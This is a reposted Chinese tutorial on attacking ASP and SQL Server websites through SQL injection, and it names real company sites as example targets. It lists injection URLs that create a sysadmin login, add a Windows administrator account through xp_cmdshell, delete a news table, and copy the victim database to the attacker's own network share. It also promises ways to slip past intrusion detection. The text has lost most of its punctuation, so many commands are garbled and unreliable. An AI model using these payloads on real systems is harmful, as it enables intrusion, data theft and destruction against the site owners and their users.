熱點推薦:
您现在的位置: 電腦知識網 >> 編程 >> SQL語言 >> 正文

SQL數據庫的一些攻擊

2013-11-13 12:40:50  來源: SQL語言 

  關於數據庫的簡單入侵和無賴破壞以天融信做例子

  對於國內外的很多新聞BBS和電子商務網站都采用ASP+SQL設計而寫 ASP的程序員很多(有很多剛剛畢業的)所以ASP+SQL的攻擊成功率也比較高這類攻擊方法與NT的版本和SQL的版本沒有多大的關系也沒有相應的補丁因為漏洞是程序員自己造成的而且大多數講解ASP編程的書上源代碼例子就有這個漏洞存在其實只是一些合法的ASP對SQL的請求就留下後患無窮!   

  這種攻擊方法最早源於or=的漏洞(我們暫且稱其為漏洞)這個漏洞的原理我想大家因該都知道了那麼隨之而來的便是;exec  sp_addlogin hax(在數據庫內添加一個hax用戶)但是這個方法的限制很大首先ASP使用的SQL Server賬號是個管理員其次請求的提交變量在整個SQL語句的最後因為有一些程序員采用SELECT * FROM news WHERE id= AND topic= AND     這種方法請求數據庫那麼如果還用以上的例子就會    newsasp?id=;exec sp_addlogin hax   變成SELECT * FROM news WHERE id=;exec sp_addlogin hax AND topic= AND    整個SQL語句在執行sp_addlogin的存儲過程後有AND與判斷存在語法錯誤你的sp_addlogin自然也不能正常運行了因此試試看下面這個方 法   newsasp?id=;exec sp_addlogin hax;    後面的符號把sp_addlogin後的判斷語句變成了注釋這樣就不會有語法錯誤了sp_addlogin正常執行!   

  那麼我們連一起來用吧   

newsasp?id=;exec masterdbosp_addlogin hax;   
newsasp?id=;exec masterdbosp_password nullhaxhax;   
newsasp?id=;exec masterdbosp_addsrvrolemember sysadmin hax;   
newsasp?id=;exec masterdboxp_cmdshell net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes 

/active:yes /add;   
newsasp?id=;exec masterdboxp_cmdshell net localgroup administrators hax /add;   

  這樣你在他的數據庫和系統內都留下了hax管理員賬號了
   
  當然前提條件是ASP用管理員賬號所以虛擬空間大家就別試了不會存在這個漏洞的   

  以後我們會討論如果對方的ASP不是用SQL管理員賬號我們如何入侵當然也會涉及到端口的入侵當然大家可以試試看在id=後面加上一個符號主要看對方的ASP怎麼寫了    
  
  再說說當ASP程序使用的SQL賬號不是管理員的時候我們該如何做  
 
  比如天融信的主頁有新聞內容如下   
http://wwwtalentitcomcn/news/newsasp?newid=   

  大家可以試試看http://wwwtalentitcomcn/news/newsasp?newid=;select ;   

  呵呵報語法錯誤select 錯誤顯而易見天融新的ASP在newid變量後面用號結束   

  那麼試試看http://wwwtalentitcomcn/news/newsasp?newid=;delete news;   

  哈哈我想只要表名猜對了新聞庫就被刪了   

  通常ASP用的SQL賬號就算不是管理員也會是某個數據庫的owner至少對於這個庫有很高的管理權限   

  但是我們不知道庫名該怎麼?看看db_name()函數吧   

  打開你的query analyzer看看print db_name() 呵呵當前的數據庫名就出來了   

  以次類推如下 declare @a sysname;set @a=db_name();backup database @a to disk=你的IP你的共享目錄bakdat name=test;   

  呵呵他的當前數據庫就備份到你的硬盤上了接下來要做的大家心裡都明白了吧   

  同理這個方法可以找到對方的SQL的IP   

  先裝一個防火牆打開ICMP和TCP和TCP的警告提示
   
  然後試試看newsasp?id=;exec masterdboxp_cmdshell ping 你的IP   

  如果防火牆提示有人ping你那麼因該可以肯定對方的ASP用的是SQL的管理員權限同時也確定了對方的SQL Server的准確位置因為很多大一點的網站考慮性能會吧web服務和數據庫分開當對方打上了補丁看不到源代碼時我想只有這個方法能很快的定位對方的SQL Server的位置了
   
  那麼如果對方ASP沒有SQL管理員權限我們就不能調用xp_cmdshell了該怎麼辦?

  別著急試試看這個newsasp?id=;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目錄bakdat  name=test;   

  呵呵你的防火牆該發出警告了有人連接你的(win端口了這樣對方的SQL的ip一樣也可以暴露

  那麼如果對方連某個數據庫的owner也不是的話我們該怎麼辦?下次我會告訴大家一個更好的辦法 
  
  其實backuo database到你的硬盤還是有點誇張了如果對方數據庫很龐大你又是撥號上網呵呵勸你別試了很難成功傳輸的  

  下次我們還會談到如何騙過IDS執行ASP+SQL入侵目前有些好的IDS已經開始監視xp_cmdshell這些關鍵字了   

  所有以上url希望大家通過vbscript提交因為浏覽器的地址欄會屏蔽一些特殊字符這樣你的命令就不能完整傳輸了    windowlocationherf=URL 

  補充這個問題以前載網上也提出來過但是只是一些簡單的xp_cmdshell調用限制很大其實這裡面還有很多值得深入的地方比如  wwwguosencomcn國信證卷就有這個問題而且他們采用ms的三層結構作的用以前說的xp_cmdshell做法就不行了字符串會被過濾但是我嘗試了用sql的異類請求仍然可以在對方的機器上開啟telnet服務和administrators組的賬號!由於對方防火牆很嚴checkpoint數據報進出都只開放端口因此要想獲得他的數據庫結構比較困難了但是還是有辦法可以做到的

  順便提醒大家注意一下關於sqloledbdb_nameopenrowsetopendatasource這些系統函數當asp的sqlserver賬號只是一個普通用戶時他們會很有用的!  


From:http://tw.wingwit.com/Article/program/SQL/201311/16369.html
    推薦文章
    Copyright © 2005-2013 電腦知識網 Computer Knowledge   All rights reserved.